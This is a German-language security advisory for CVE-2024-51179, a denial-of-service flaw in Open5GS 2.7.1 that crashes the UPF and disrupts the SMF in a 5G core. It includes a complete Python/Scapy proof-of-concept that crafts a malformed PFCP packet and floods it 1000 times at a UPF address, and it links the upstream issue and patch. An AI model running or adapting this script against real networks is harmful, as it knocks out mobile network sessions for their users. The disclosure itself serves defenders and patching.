
Beschreibung: Ein Problem in Open 5GS v.2.7.1 ermöglicht es einem entfernten Angreifer, einen Denial-of-Service über die Network Function Virtualizations (NFVs) wie die User Plane Function (UPF) und die Session Management Function (SMF) zu verursachen. Der Aufbau von PDU-Sitzungen (Packet Data Unit) wird durch die Abstürze innerhalb der NFVs beeinträchtigt.
Ein Angreifer kann, nachdem er die IP-Adresse der User Plane Function (UPF), den PFCP-Port und die SEID (Session Endpoint Identifier) erlangt hat, bösartige PFCP-Pakete (Packet Forwarding Control Protocol) konstruieren und an die UPF senden. Die erforderlichen Parameter können mit Tools wie Wireshark abgefangen werden, wenn der Angreifer Zugriff auf den User-Plane-Verkehr hat.
Art der Schwachstelle: Denial Of Service
Auswirkungen: Beim Senden des bösartigen Pakets wird die UPF fehlerhaft, was die Einrichtung neuer PDU-Sitzungen beeinträchtigt. Zusätzlich wird die SMF (Session Management Function) durch die Flut bösartiger PFCP-Pakete beeinträchtigt, was Kernfunktionen stört.
Voraussetzungen: Das 5G-Kernnetz wurde mit Open5GS als Kernnetz und UERANSIM als Emulationswerkzeug für die gNB (Next Generation NodeB) und UE (User Equipment) eingerichtet.
SCHRITTE ZUR DURCHFÜHRUNG DES ANGRIFFS
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


Die Schwachstelle, dokumentiert als Issue #3497 auf der Open5GS-GitHub-Seite (https://github.com/open5gs/open5gs/issues/3497), wurde an den Open5GS-Anbieter gemeldet, der die Ursache als Problem bei der Speicherfreigabe identifizierte, das zu Systemabstürzen führt. Seitdem wurde ein Patch angewendet und der Code aktualisiert, um das Problem zu beheben. Sie können den aktualisierten Code hier einsehen.
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179 wurde veröffentlicht.
DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)